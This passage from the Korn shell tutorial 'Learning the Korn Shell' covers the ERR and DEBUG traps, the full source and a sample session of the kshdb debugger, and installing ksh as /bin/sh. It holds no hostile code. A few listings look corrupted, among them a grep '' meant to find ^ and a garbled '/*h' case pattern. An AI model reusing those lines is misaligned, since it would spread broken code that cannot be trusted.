This program picks a number between 1 and 10 by getting a random number (the built-in variable RANDOM), extracting the last digit (the remainder when divided by 10), and adding 1. Then it prompts you for a guess, and after 10 seconds, it will tell you if you guessed right.

If you did, the program will exit with the message, "Thank you for playing!", i.e., it will run the EXIT trap code. If you were wrong, it will prompt you again and repeat the process until you get it right. If you get bored with this little game and hit [CTRL-C] while waiting for it to tell you whether you were right, you will also see the message.

9.1.2.2 ERR

The fake signal ERR enables you to run code whenever a command in the surrounding script or function exits with non-zero status. Trap code for ERR can take advantage of the built-in variable ?, which holds the exit status of the previous command. It "survives" the trap and is accessible at the beginning of the trap-handling code.

A simple but effective use of this is to put the following code into a script you want to debug:

function errtrap {
    es=$?
    print "ERROR: Command exited with status $es."
}

trap errtrap ERR

The first line saves the non-zero exit status in the variable es. This code enables you to see which command in your script exits with error status and what the status is.

For example, if the shell can't find a command, it returns status 1. If you put the code in a script with a line of gibberish (like "lskdjfafd"), the shell will respond with:

scriptname[N]: lskdjfafd:  not found
ERROR: command exited with status 1.

N is the number of the line in the script that contains the bad command. In this case, the shell prints the line number as part of its own error-reporting mechanism, since the error was a command that the shell could not find. But if the non-0 exit status comes from another program, the shell won't report the line number. For example:

function errtrap {
    es=$?
    print "ERROR: Command exited with status $es."
}

trap errtrap ERR

function bad {
    return 17
}

bad

This will only print, ERROR: Command exited with status 17.

It would obviously be an improvement to include the line number in this error message. The built-in variable LINENO exists, but if you use it inside a function, it evaluates to the line number in the function, not in the overall file. In other words, if you used $LINENO in the print statement in the errtrap routine, it would always evaluate to 2.

To get around this problem, we simply pass $LINENO as an argument to the trap handler, surrounding it in single quotes so that it doesn't get evaluated until the fake signal actually comes in:

function errtrap {
    es=$?
    print "ERROR line $1: Command exited with status $es."
}
trap 'errtrap $LINENO' ERR
...

If you use this with the above example, the result is the message, ERROR line 12: Command exited with status 17. This is much more useful. We'll see a variation on this technique shortly.

This simple code is actually not a bad all-purpose debugging mechanism. It takes into account that a non-0 exit status does not necessarily indicate an undesirable condition or event: remember that every control construct with a conditional (if, while, etc.) uses a non-0 exit status to mean "false". Accordingly, the shell doesn't generate ERR traps when statements or expressions in the "condition" parts of control structures produce non-0 exit statuses.

But a disadvantage is that exit statuses are not as uniform (or even as meaningful) as they should be-as we explained in Chapter 5, Flow Control. A particular exit status need not say anything about the nature of the error or even that there was an error.

9.1.2.3 DEBUG

The final fake signal, DEBUG, causes the trap code to be run after every statement in the surrounding function or script. This has two possible uses. First is the use for humans, as a sort of a "brute force" method of tracking a certain element of a program's state that you notice is going awry.

For example, you notice that the value of a particular variable is running amok. The naive approach would be to put in lots of print statements to check the variable's value at several points. The DEBUG trap makes this easier by letting you do this:

function dbgtrap {
    print "badvar  is $badvar "
}

trap dbgtrap DEBUG

...section of code in which problem occurs...

trap - DEBUG		# turn off DEBUG trap

This code will print the value of the wayward variable after every statement between the two traps.

The second and far more important use of the DEBUG trap is as a primitive for implementing Korn shell debuggers. In fact, it would be fair to say that the DEBUG trap reduces the task of implementing a useful shell debugger from a large-scale software development project to a manageable exercise. Read on.

Previous: 8.6 Subshells | Learning the Korn Shell | Next: 9.2 A Korn Shell Debugger
8.6 Subshells | Book Index | 9.2 A Korn Shell Debugger
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.2 A Korn Shell Debugger

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 9.1 Basic Debugging Aids Chapter 9
Debugging Shell Programs 		Next: 10. Korn Shell Administration

9.2 A Korn Shell Debugger

Commercially available debuggers give you much more functionality than the shell's set options and fake signals. The most advanced have fabulous graphical user interfaces, incremental compilers, symbolic evaluators, and other such amenities. But just about all modern debuggers-even the more modest ones-have features that enable you to "peek" into a program while it's running, to examine it in detail and in terms of its source language. Specifically, most debuggers let you do these things:

  • Specify points at which the program stops execution and enters the debugger. These are called breakpoints.

  • Execute only a bit of the program at a time, usually measured in source code statements. This ability is often called stepping.

  • Examine and possibly change the state of the program (e.g., values of variables) in the middle of a run, i.e., when stopped at a breakpoint or after stepping.

  • Do all of the above without having to change the source code.

Our debugger, called kshdb, has these features and a few more. Although it's a basic tool, without too many "bells and whistles", it is real. [3] The code is available from an anonymous FTP archive, as described in Appendix C, Obtaining Sample Programs; if you don't have access to the Internet, you can type or scan the code in. Either way, you can use kshdb to debug your own shell scripts, and you should feel free to enhance it. We'll suggest some enhancements at the end of this chapter.

[3] Unfortunately, kshdb won't work completely on SunOS versions 4.1.x and older.

9.2.1 Structure of the Debugger

The code for kshdb has several features worth explaining in some detail. The most important is the basic principle on which it works: it turns a shell script into a debugger for itself, by prepending debugger functionality to it; then it runs the new script.

9.2.1.1 The driver script

Therefore the code has two parts: the part that implements the debugger's functionality, and the part that installs that functionality into the script being debugged. The second part, which we'll see first, is the script called kshdb. It's very simple:

# kshdb -- Korn Shell debugger
# Main driver: constructs full script (with preamble) and runs it

print 'Korn Shell Debugger version 1.0\n'
_guineapig=$1
if [[ ! -r $1 ]]; then		# file not found or readable
    print "Cannot read $_guineapig." >&2
    exit 1
fi
shift

_tmpdir=/tmp
_libdir=.
_dbgfile=$_tmpdir/kshdb$$	# temp file for script being debugged (copy)
cat $_libdir/kshdb.pre $_guineapig > $_dbgfile
exec ksh $_dbgfile $_guineapig $_tmpdir $_libdir "$@"

kshdb takes as argument the name of the script being debugged, which for the sake of brevity we'll call the guinea pig. Any additional arguments will be passed to the guinea pig as its positional parameters.

If the argument is invalid (the file isn't readable), kshdb exits with error status. Otherwise, after an introductory message, it constructs a temporary filename in the way we saw in the last chapter. If you don't have (or don't have access to) /tmp on your system, then you can substitute a different directory for _tmpdir. [4] Also, make sure that _libdir is set to the directory where the kshdb.pre and kshdb.fns files (which we'll see soon) reside. /usr/lib is a good choice if you have access to it.

[4] All function names and variables (except those local to functions) in kshdb have names beginning with an underscore (_), to minimize the possibility of clashes with names in the guinea pig.

The cat statement builds the temp file: it consists of a file we'll see soon called kshdb.pre, which contains the actual debugger code, followed immediately by a copy of the guinea pig. Therefore the temp file contains a shell script that has been turned into a debugger for itself.

9.2.1.2 exec

The last line runs this script with exec, a statement we haven't seen yet. We've chosen to wait until now to introduce it because-as we think you'll agree-it can be dangerous. exec takes its arguments as a command line and runs the command in place of the current program, in the same process. In other words, the shell running the above script will terminate immediately and be replaced by exec's arguments. The situations in which you would want to use exec are few, far between, and quite arcane-though this is one of them. [5]

[5] exec can also be used with an I/O redirector only; this causes the redirector to take effect for the remainder of the script or login session. For example, the line exec 2>errlog at the top of a script directs standard error to the file errlog for the entire script.

In this case, exec just runs the newly-constructed shell script, i.e., the guinea pig with its debugger, in another Korn shell. It passes the new script three arguments-the names of the original guinea pig ($_guineapig), the temp directory ($_tmpdir), and the directory where kshdb.pre and kshdb.fns are kept-followed by the user's positional parameters, if any.

9.2.2 The Preamble

Now we'll see the code that gets prepended to the script being debugged; we call this the preamble. It's kept in the following file kshdb.pre, which is also fairly simple.

# kshdb preamble
# prepended to shell script being debugged
# arguments:
# $1 = name of original guinea-pig script
# $2 = directory where temp files are stored
# $3 = directory where kshdb.pre and kshdb.fns are stored

_dbgfile=$0
_guineapig=$1
_tmpdir=$2
_libdir=$3
shift 3				# move user's args into place

. $_libdir/kshdb.fns		# read in the debugging functions
_linebp=
_stringbp=
let _trace=0			# initialize execution trace to off
let _i=1			      # read guinea-pig file into lines array
while read -r _lines[$_i]; do
    let _i=$_i+1
done < $_guineapig

trap _cleanup EXIT		# erase files before exiting
let _steps=1			# no. of stmts to run after trap is set
LINENO=-1
trap '_steptrap $LINENO' DEBUG
:

The first few lines save the three fixed arguments in variables and shift them out of the way, so that the positional parameters (if any) are those that the user supplied on the command line as arguments to the guinea pig. Then, the preamble reads in another file, kshdb.fns, that contains the "meat" of the debugger as function definitions. We put this code in a separate file to minimize the size of the temp file. We'll examine kshdb.fns shortly.

Next, kshdb.pre initializes the two breakpoint lists to empty and execution tracing to off (see below), then reads the guinea pig into an array of lines. We do the latter so that the debugger can access lines in the script when performing certain checks, and so that the execution trace feature can print lines of code as they execute.

The real fun begins in the last group of code lines, where we set up the debugger to start working. We use two trap commands with fake signals. The first sets up a cleanup routine (which just erases the temporary file) to be called on EXIT, i.e., when the script terminates for any reason. The second, and more important, sets up the function _steptrap to be called after every statement.

_steptrap gets an argument that evaluates to the number of the line in the guinea pig that just ran. We use the same technique with the built-in variable LINENO that we saw earlier in the chapter, but with an added twist: if you assign a value to LINENO, it uses that as the next line number and increments from there. The statement LINENO=-1 re-starts line numbering so that the first line in the guinea pig is line 1.

After the DEBUG trap is set, the preamble ends with a "do-nothing" statement (:). The shell executes this statement and enters _steptrap for the first time. The variable _steps is set up so that _steptrap executes its last elif clause, as you'll see shortly, and enters the debugger. As a result, execution halts just before the first statement of the guinea pig is run, and the user sees a kshdb> prompt; the debugger is now in full operation.

9.2.3 Debugger Functions

The function _steptrap is the entry point into the debugger; it is defined in the file kshdb.fns, which is given in its entirety at the end of this chapter. Here is _steptrap:

# Here after each statement in script being debugged.
# Handle single-step and breakpoints.
function _steptrap {
    _curline=$1                       # arg is no. of line that just ran

    (( $_trace )) && _msg "$PS4 line $_curline: ${_lines[$_curline]}"

    if (( $_steps >= 0 )); then       # if in step mode
        let _steps="$_steps - 1"      # decrement counter
    fi

    # first check if line num or string breakpoint reached
    if _at_linenumbp || _at_stringbp; then
        _msg "Reached breakpoint at line $_curline"
        _cmdloop                       # breakpoint, enter debugger

    # if not, check whether break condition exists and is true
    elif [[ -n $_brcond ]] && eval $_brcond; then
        _msg "Break condition $_brcond true at line $_curline"
        _cmdloop

    # next, check if step mode and number of steps is up
    elif (( $_steps == 0 )); then      # if step mode and time to stop
        _msg "Stopped at line $_curline"
        _cmdloop                       # enter debugger

    fi
}

_steptrap starts by setting _curline to the number of the guinea pig line that just ran. If execution tracing is turned on, it prints the PS4 execution trace prompt (a la xtrace mode), the line number, and the line of code itself.

Then it does one of two things: enter the debugger, the heart of which is the function _cmdloop, or just return so that the shell can execute the next statement. It chooses the former if a breakpoint or break condition (see below) has been reached, or if the user stepped into this statement.

9.2.3.1 Commands

We'll explain shortly how _steptrap determines these things; now we'll look at _cmdloop. It's a typical command loop, resembling a combination of the case statements we saw in Chapter 5 and the calculator loop we saw in the previous chapter.

# Debugger command loop.
# Here at start of debugger session, when breakpoint reached,
# or after single-step.
function _cmdloop {
    typeset cmd args

    while read -s cmd"?kshdb> " args; do
        case $cmd in
            \*bp ) _setbp $args ;;  # set breakpoint at line num or string.

            \*bc ) _setbc $args ;;  # set break condition.

            \*cb ) _clearbp ;;      # clear all breakpoints.

            \*g  ) return ;;        # start/resume execution

            \*s  ) let _steps=${args:-1} # single-step N times (default 1) return ;;

            \*x  ) _xtrace ;;        # toggle execution trace

            \*\? | /*h ) _menu ;;    # print command menu

            \*q  ) exit ;;           # quit

            \**  ) _msg "Invalid command: $cmd" ;;

            *  ) eval $cmd $args ;;  # otherwise, run shell command

        esac
    done
}

At each iteration, cmdloop prints a prompt, reads a command, and processes it. We use read -s so that the user can take advantage of command-line editing within kshdb. All kshdb commands start with * to prevent confusion with shell commands. Anything that isn't a kshdb command (and doesn't start with *) is passed off to the shell for execution. Table 9.3 summarizes the debugger commmands.

Table 9.3: kshdb Commands
Command | Action
*bp N | Set breakpoint at line N
*bp str | Set breakpoint at next line containing str
*bp | List breakpoints and break condition
*bc str | Set break condition to str
*bc | Clear break condition
*cb | Clear all breakpoints
*g | Start or resume execution
*s [N] | Step through N statements (default 1)
*x | Toggle execution tracing
*h, *? | Print a help menu
*q | Quit

Before we look at the individual commands, it is important that you understand how control passes through _steptrap, the command loop, and the guinea pig.

_steptrap runs after every statement in the guinea pig as a result of the trap ... DEBUG statement in the preamble. If a breakpoint has been reached or the user previously typed in a step command (*s), _steptrap calls the command loop. In doing so, it effectively "interrupts" the shell that is running the guinea pig to hand control over to the user. [6]

[6] In fact, low-level systems programmers can think of the entire trap mechanism as quite similar to an interrupt-handling scheme.

The user can invoke debugger commands as well as shell commands that run in the same shell as the guinea pig. This means that you can use shell commands to check values of variables, signal traps, and any other information local to the script being debugged.

The command loop runs, and the user stays in control, until the user types *g, *s, or *q. Let's look in detail at what happens in each of these cases.

*g has the effect of running the guinea pig uninterrupted until it finishes or hits a breakpoint. But actually, it simply exits the command loop and returns to _steptrap, which exits as well. The shell takes control back; it runs the next statement in the guinea pig script and calls _steptrap again. Assuming there is no breakpoint, this time _steptrap will just exit again, and the process will repeat until there is a breakpoint or the guinea pig is done.

9.2.3.2 Stepping

When the user types *s, the command loop code sets the variable _steps to the number of steps the user wants to execute, i.e., to the argument given. Assume at first that the user omits the argument, meaning that _steps is set to 1. Then the command loop exits and returns control to _steptrap, which (as above) exits and hands control back to the shell. The shell runs the next statement and returns to _steptrap, which sees that _steps is 1 and decrements it to 0. Then the second elif conditional sees that _steps is 0, so it prints a "stopped" message and calls the command loop.

Now assume that the user supplies an argument to *s, say 3. _steps is set to 3. Then the following happens:

  1. After the next statement runs, _steptrap is called again. It enters the first if clause, since _steps is greater than 0. _steptrap decrements _steps to 2 and exits, returning control to the shell.

  2. This process repeats, another step in the guinea pig is run, and _steps becomes 1.

  3. A third statement is run and we're back in _steptrap. _steps is decremented to 0, the second elif clause is run, and _steptrap breaks out to the command loop again.

The overall effect is that three steps run and then the debugger takes over again.

Finally, the *q command calls the function _cleanup, which just erases the temp file and exits the entire program.

All other debugger commands (*bp, *bc, *cb, *x and shell commands) cause the shell to stay in the command loop, meaning that the user prolongs the "interruption" of the shell.

9.2.3.3 Breakpoints

Now we'll examine the breakpoint-related commands and the breakpoint mechanism in general. The *bp command calls the function _setbp, which can set two kinds of breakpoints, depending on the type of argument given. If it is a number, it's treated as a line number; otherwise it's interpreted as a string that the breakpoint line should contain.

For example, the command *bp 15 sets a breakpoint at line 15, and *bp grep sets a breakpoint at the next line that contains the string grep-whatever number that turns out to be. Although you can always look at a numbered listing of a file, [7] string arguments to *bp can make that unnecessary.

[7] pr -n filename prints a numbered listing to standard output on System V-derived versions of UNIX. Some older BSD-derived systems don't support it. If this doesn't work on your system, try cat -n filename, or if that doesn't work, create a shell script with this single line:

awk '{ print NR, "\t", $0 }' $1

Here is the code for _setbp:

# Set breakpoint(s) at given line numbers and/or strings
# by appending lines to breakpoint file
function _setbp {
    if [[ -z $1 ]]; then
        _listbp
    elif [[ $1 = +([0-9]) ]]; then  # number, set bp at that line
        _linebp="${_linebp}$1|"
        _msg "Breakpoint at line " $1
    else                            # string, set bp at next line w/string
        _stringbp="${_stringbp}$@|"
        _msg "Breakpoint at next line containing $@."
    fi
}

_setbp sets the breakpoints by storing them in the variables _linebp (line number breakpoints) and _stringbp (string breakpoints). Both have breakpoints separated by pipe character delimiters, for reasons that will become clear shortly. This implies that breakpoints are cumulative; setting new breakpoints does not erase the old ones.

The only way to remove breakpoints is with the command *cb, which (in function _clearbp) clears all of them at once by simply resetting the two variables to null. If you don't remember what breakpoints you have set, the command *bp without arguments lists them.

The functions _at_linenumbp and _at_stringbp are called by _steptrap after every statement; they check whether the shell has arrived at a line number or string breakpoint, respectively.

Here is _at_linenumbp:

# See if next line no. is a breakpoint.
function _at_linenumbp {
    [[ $_curline = @(${_linebp%\|}) ]]
}

_at_linenumbp takes advantage of the pipe character as the separator between line numbers: it constructs a regular expression of the form @(N1|N2|...) by taking the list of line numbers _linebp, removing the trailing |, and surrounding it with @( and ). For example, if $_linebp is 3|15|19|, then the resulting expression is @(3|15|19).

If the current line is any of these numbers, then the conditional becomes true, and _at_linenumbp also returns a "true" (0) exit status.

The check for a string breakpoint works on the same principle, but it's slightly more complicated; here is _at_stringbp:

# Search string breakpoints to see if next line in script matches.
function _at_stringbp {
    [[ -n $_stringbp && ${_lines[$_curline]} = *@(${_stringbp%\|})* ]]
}

The conditional first checks if $_stringbp is non-null (meaning that string breakpoints have been defined). If not, the conditional evaluates to false, but if so, its value depends on the pattern match after the &&-which tests the current line to see if it contains any of the breakpoint strings.

The expression on the right side of the equal sign is similar to the one in _at_linenumbp above, except that it has * before and after it. This gives expressions of the form *@(S1|S2|...)*, where the Ss are the string breakpoints. This expression matches any line that contains any one of the possibilities in the parenthesis.

The left side of the equal sign is the text of the current line in the guinea pig. So, if this text matches the regular expression, then we've reached a string breakpoint; accordingly, the conditional expression and _at_stringbp return exit status 0.

_steptrap uses the || ("or") construct in its if statement, which evaluates to true if either type of breakpoint occurred. If so, it calls the main command loop.

9.2.3.4 Break conditions

kshdb has another feature related to breakpoints: the break condition. This is a string that the user can specify that is evaluated as a command; if it is true (i.e., returns exit status 0), the debugger enters the command loop. Since the break condition can be any line of shell code, there's lots of flexibility in what can be tested. For example, you can break when a variable reaches a certain value (e.g., (( $x < 0 ))) or when a particular piece of text has been written to a file (grep string file). You will probably think of all kinds of uses for this feature. [8] To set a break condition, type *bc string. To remove it, type *bc without arguments-this installs the null string, which is ignored. _steptrap evaluates the break condition $_brcond only if it's non-null. If the break condition evaluates to 0, then the if clause is true and, once again, _steptrap calls the command loop.

[8] Bear in mind that if your break condition produces any standard output (or standard error), you will see it after every statement. Also, make sure your break condition doesn't take a long time to run; otherwise your script will run very, very slowly.

9.2.3.5 Execution tracing

The final feature is execution tracing, available through the *x command. This feature is meant to overcome the fact that a kshdb user can't use set -o xtrace while debugging (by entering it as a shell command), because its scope is limited to the _cmdloop function.

The function _xtrace "toggles" execution tracing by simply assigning to the variable _trace the logical "not" of its current value, so that it alternates between 0 (off) and 1 (on). The preamble initializes it to 0.

9.2.3.6 Limitations

kshdb was not designed to push the state of the debugger art forward or to have an overabundance of features. It has the most useful basic features, its implementation is compact and (we hope) comprehensible, and it does have some important limitations. The ones we know of are described in the list that follows.

  1. The shell should really have the ability to trap before each statement, not after. This is the way most commercial source-code debuggers work. [9] At the very least, the shell should provide a variable that contains the number of the line about to run instead of (or in addition to) the number of the line that just ran.

    [9] This kind of functionality is expected to be added in the next Korn shell release.

  2. String breakpoints cannot begin with digits or contain pipe characters (|) unless they are properly escaped.

  3. You can only set breakpoints-whether line number or string-on lines in the guinea pig that contain what the shell's documentation calls simple commands, i.e., actual UNIX commands, shell built-ins, function calls, or aliases. If you set a breakpoint on a line that contains only whitespace or a comment, the shell will always skip over that breakpoint. More importantly, control keywords like while, if, for, do, done, and even conditionals ([[...]] and ((...))) won't work either, unless a simple command is on the same line.

  4. kshdb will not "step down" into shell scripts that are called from the guinea pig. To do this, you have to edit your guinea pig and change a call to scriptname to kshdb scriptname.

  5. Similarly, nested subshells are treated as one gigantic statement; you cannot step down into them at all.

  6. The guinea pig should not trap on the fake signals DEBUG or EXIT; otherwise the debugger won't work.

  7. Variables that are typeset (see Chapter 4, Basic Shell Programming) are not accessible in break conditions. However, you can use the shell command print to check their values.

  8. Command error handling is weak. For example, a non-numeric argument to *s will cause it to bomb.

Many of these are not insurmountable; see the exercises.

9.2.4 Sample kshdb Session

Now we'll show a transcript of an actual session with kshdb, in which the guinea pig is the solution to Task 6-2. For convenience, here is a numbered listing of the script, which we'll call lscol.

1 	 set -A filenames $(ls $1)
2 	 typeset -L14 fname
3 	 let count=0
4 	 let numcols=5
5
6 	 while [[ $count -lt ${#filenames[*]} ]]; do
7 	     fname=${filenames[$count]}
8 	     print -n "$fname  "
9 	     let count="count + 1"
10 	     if [[ $((count % numcols)) = 0 ]]; then
11 	         print            # NEWLINE
12 	     fi
13 	 done
14
15 	 if [[ $((count % numcols)) != 0 ]]; then
16 	     print
17 	 fi

Here is the kshdb session transcript:

$ kshdb lscol /usr/spool
Korn shell Debugger version 1.0

Stopped at line 0
kshdb> *bp 4
Breakpoint at line 4
kshdb> *g
Reached breakpoint at line 4
kshdb> print $count $numcols
0 5
kshdb> *bc [[ $count -eq 10 ]]
Break when true: [[ $count -eq 10 ]]
kshdb> *g
bwnfs           cron            locks           lpd             lpd.lock
mail            mqueue          rwho            secretmail      uucp
Break condition [[ $count -eq 10 ]] true at line 9
kshdb> *bc
Break condition cleared.
kshdb> *bp NEWLINE
Breakpoint at next line containing "NEWLINE".
kshdb> *g

Reached breakpoint at line 11
kshdb> print $count
10
kshdb> let count=9
kshdb> *g
uucp
Reached breakpoint at line 11
kshdb> *bp
Breakpoints at lines:
 4
Breakpoints at strings:
NEWLINE
No break condition.
kshdb> *g
uucppublic
$

First, notice that we gave the guinea pig script the argument /usr/spool, meaning that we want to list the files in that directory. We begin by setting a simple breakpoint at line 4 and starting the script. It stops after executing line 4 (let numcols=5). Then we issue a shell print command to show that the variables count and numcols are indeed set correctly.

Next, we set a break condition, telling the debugger to kick in when $count is 10, and we resume execution. Sure enough, the guinea pig prints 10 filenames and stops at line 9, on which $count is incremented. We clear the break condition by typing *bc without an argument, since otherwise the shell would stop after every statement until the condition becomes false.

The next command shows how the string breakpoint mechanism works. We tell the debugger to break when it hits a line that contains the string NEWLINE. This string is in a comment on line 11. Notice that it doesn't matter that the string is in a comment-just that the line it's on contain an actual command. We resume execution, and the debugger hits the breakpoint at line 11.

After that, we show how we can use the debugger to change the guinea pig's state while running. We see that $count is still 10; we change it to 9. In the next iteration of the while loop, the script accesses the same filename that it just did (uucp), increments count back to 10, and hits the breakpoint again. Finally, we list breakpoints and let the script execute to its end; it prints out one last filename and exits.

9.2.5 Exercises

We'll conclude this chapter with a few exercises, which are suggested enhancements to kshdb.

  1. Improve command error handling in these ways:

    1. For numeric arguments to *bp, check that they are valid line numbers for the particular guinea pig.

    2. Check that arguments to *s are valid numbers.

    3. Any other error handling you can think of.

  2. Enhance the *cb command so that the user can delete specific breakpoints (by string or line number).

  3. Remove the major limitation in the breakpoint mechanism:

    1. Improve it so that if the line number selected does not contain an actual UNIX command, the next closest line above it is used as the breakpoint instead.

    2. Do the same thing for string breakpoints. (Hint: first translate each string breakpoint command into one or more line-number breakpoint commands.)

  4. Implement an option that causes a break into the debugger whenever a command exits with non-0 status:

    1. Implement it as the command-line option -e.

    2. Implement it as the debugger commands *be (to turn the option on) and *ne (to turn it off). (Hint: you won't be able to use the ERR trap, but bear in mind that when you enter _steptrap, $? is still the exit status of the last command that ran.)

  5. Add the ability to "step down" into scripts that the guinea pig calls (i.e., non-nested subshells) as the command-line option -s. One way of implementing this is to change the kshdb script so that it "plants" recursive calls to kshdb in the guinea pig. You can do this by filtering the guinea pig through a loop that reads each line and determines, with the whence -v and file(1) (see the man page) commands, if the line is a call to another shell script.[10] If it is, prepend kshdb -s to the line and write it to the new file; if not, just pass it through as is.

    [10] Notice that this method should catch most nested shell scripts but not all of them. For example, it won't catch shell scripts that follow semicolons (e.g., cmd1; cmd2).

  6. Add support for multiple break conditions, so that kshdb stops execution when any one of them becomes true and prints a message that says which one is true. Do this by storing the break conditions in a colon-separated list or an array. Try to make this as efficient as possible, since the checking will take place after every statement.

  7. Add any other features you can think of.

If you add significant functionality to kshdb, we invite you to send your version to the author, care of O'Reilly and Associates, at billr@ora.com on the Internet or, via US Mail, at:

O'Reilly & Associates, Inc.
103 Morris St., Suite A
Sebastopol, CA 95472

We'll select the best one and publish it in the next revision of our UNIX Power Tools CD-ROM. Remember: there is no "official" Korn shell debugger, and as more and more programmers realize how powerful the Korn shell is as a programming environment, a debugger will become more and more necessary. We've made the initial effort, and we leave it up to you to finish the job!

Finally, here is the complete source code for the debugger function file kshdb.fns:

# Here after each statement in script being debugged.
# Handle single-step and breakpoints.
function _steptrap {
    _curline=$1                       # arg is no. of line that just ran
    (( $_trace )) && _msg "$PS4 line $_curline: ${_lines[$_curline]}"
    if (( $_steps >= 0 )); then       # if in step mode
        let _steps="$_steps - 1"      # decrement counter
    fi
    # first check if line num or string breakpoint reached
    if _at_linenumbp || _at_stringbp; then
        _msg "Reached breakpoint at line $_curline"
        _cmdloop                      # breakpoint, enter debugger

    # if not, check whether break condition exists and is true
    elif [[ -n $_brcond ]] && eval $_brcond; then
        _msg "Break condition $_brcond true at line $_curline"
        _cmdloop
    # next, check if step mode and number of steps is up
    elif (( $_steps == 0 )); then     # if step mode and time to stop
        _msg "Stopped at line $_curline"
        _cmdloop                      # enter debugger
    fi
}

# Debugger command loop.
# Here at start of debugger session, when breakpoint reached,
# or after single-step.
function _cmdloop {
    typeset cmd args

    while read -s cmd"?kshdb> " args; do
        case $cmd in
            \*bp ) _setbp $args ;;    # set breakpoint at line num or string.
            \*bc ) _setbc $args ;;    # set break condition.
            \*cb ) _clearbp ;;        # clear all breakpoints.
            \*g  ) return ;;            # start/resume execution
            \*s  ) let _steps=${args:-1} # single-step N times (default 1)
                   return ;;

            \*x  ) _xtrace ;;           # toggle execution trace
            \*\? | \*h ) _menu ;;       # print command menu
            \*q  ) exit ;;              # quit
            \**  ) _msg "Invalid command: $cmd" ;;
            *  ) eval $cmd $args ;;     # otherwise, run shell command
        esac
    done
}

# See if next line no. is a breakpoint.
function _at_linenumbp {
    [[ $_curline = @(${_linebp%\|}) ]]
}

# Search string breakpoints to see if next line in script matches.
function _at_stringbp {
    [[ -n $_stringbp && ${_lines[$_curline]} = *@(${_stringbp%\|})* ]]
}

# Print the given message to standard error.
function _msg {
    print "$@" >&2
}

# Set breakpoint(s) at given line numbers and/or strings
# by appending lines to breakpoint file
function _setbp {
    if [[ -z $1 ]]; then
        _listbp
    elif [[ $1 = +([0-9]) ]]; then  # number, set bp at that line
        _linebp="${_linebp}$1|"
        _msg "Breakpoint at line " $1
    else                            # string, set bp at next line w/string
        _stringbp="${_stringbp}$@|"
        _msg "Breakpoint at next line containing $@."
    fi
}

# List breakpoints and break condition.
function _listbp {
    _msg "Breakpoints at lines:"
    _msg "$(print $_linebp | tr '|' ' ')"
    _msg "Breakpoints at strings:"
    _msg "$(print $_stringbp | tr '|' ' ')"
    _msg "Break on condition:"
    _msg "$_brcond"
}

# Set or clear break condition
function _setbc {
    if [[ -n "$@" ]]; then
        _brcond=$args
        _msg "Break when true: $_brcond"
    else
        _brcond=
        _msg "Break condition cleared."
    fi
}

# Clear all breakpoints.
function _clearbp {
    _linebp=
    _stringbp=
    _msg "All breakpoints cleared."
}

# Toggle execution trace feature on/off
function _xtrace {
    let _trace="! $_trace"
    _msg "Execution trace \c"
    if (( $_trace )); then
        _msg "on."
    else
        _msg "off."
    fi
}

# Print command menu
function _menu {
    _msg 'kshdb commands:
         *bp N               set breakpoint at line N
         *bp str             set breakpoint at next line containing str
         *bp                 list breakpoints and break condition
         *bc str             set break condition to str
         *bc                 clear break condition
         *cb                 clear all breakpoints
         *g                  start/resume execution
         *s [N]              execute N statements (default 1)
         *x                  toggle execution trace on/off
         *h, *?              print this menu
         *q                  quit'
}

# Erase temp files before exiting.
function _cleanup {
    rm $_dbgfile 2>/dev/null
}

Previous: 9.1 Basic Debugging Aids | Learning the Korn Shell | Next: 10. Korn Shell Administration
9.1 Basic Debugging Aids | Book Index | 10. Korn Shell Administration
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] Korn Shell Administration

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 9.2 A Korn Shell Debugger Chapter 10 Next: 10.2 Environment Customization

10. Korn Shell Administration

Contents:
Installing the Korn Shell as the Standard Shell
Environment Customization
System Security Features

System administrators use the shell as part of their job of setting up a system-wide environment for all users. In this chapter, we'll discuss the Korn shell's features that relate to this task from two perspectives: customization that is available to all users and system security. We assume that you already know the basics of UNIX system administration. [1]

[1] A good source of information on system administration is Essential System Administration, a Nutshell Handbook from O'Reilly & Associates, Inc., by AEleen Frisch.

10.1 Installing the Korn Shell as the Standard Shell

As a prelude to system-wide customization, we want to emphasize something about the Korn shell that doesn't apply to most other shells: you can install it as if it were the standard Bourne shell, i.e., as /bin/sh. Just save the real Bourne shell as another filename, such as /bin/bsh, in case anyone actually needs it for anything (which is doubtful), then rename your Korn shell as /bin/sh.

Many installations have done this with absolutely no ill effects. Not only does this make the Korn shell your system's standard login shell, but it also makes most existing Bourne shell scripts run faster, and it has security advantages that we'll see later in this chapter.

As we will see in Appendix A, Related Shells, the Korn shell is backward-compatible with the Bourne shell except that it doesn't support ^ as a synonym for the pipe character |. Unless you have an ancient UNIX system, or you have some very, very old shell scripts, you needn't worry about this.

But if you want to be absolutely sure, simply search through all shell scripts in all directories in your PATH. An easy way to do this is to use the file command, which we saw in Chapter 5, Flow Control and Chapter 9, Debugging Shell Programs. file prints "executable shell script" when given the name of one. [2] Here is a script that looks for ^ in shell scripts in every directory in your PATH:

[2] The exact message varies from system to system; make sure that yours prints this message when given the name of a shell script. If not, just substitute the message your file command prints for "shell script" in the code below.

IFS=:
for d in $PATH; do
    print checking $d:
    cd $d
    scripts=$(file * | grep 'shell script' | cut -d: -f1)
    for f in $scripts; do
        grep '' $f /dev/null
    done
done

The first line of this script make it possible to use $PATH as an item list in the for loop. For each directory, it cds there and finds all shell scripts by piping the file command into grep and then, to extract the filename only, into cut. Then for each shell script, it searches for the ^ character. [3]

[3] The inclusion of /dev/null in the grep command is a kludge that forces grep to print the names of files that contain a match, even if there is only one such file in a given directory.

If you run this script, you will probably find several occurrences of ^-but these should be used within regular expressions in grep, sed, or awk commands, not as pipe characters. Assuming this is the case, it is safe for you to install the Korn shell as /bin/sh.

Previous: 9.2 A Korn Shell Debugger | Learning the Korn Shell | Next: 10.2 Environment Customization
9.2 A Korn Shell Debugger | Book Index | 10.2 Environment Customization
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.2 Environment Customization

Learning the Korn Shell

Learning the Korn ShellSearch this book
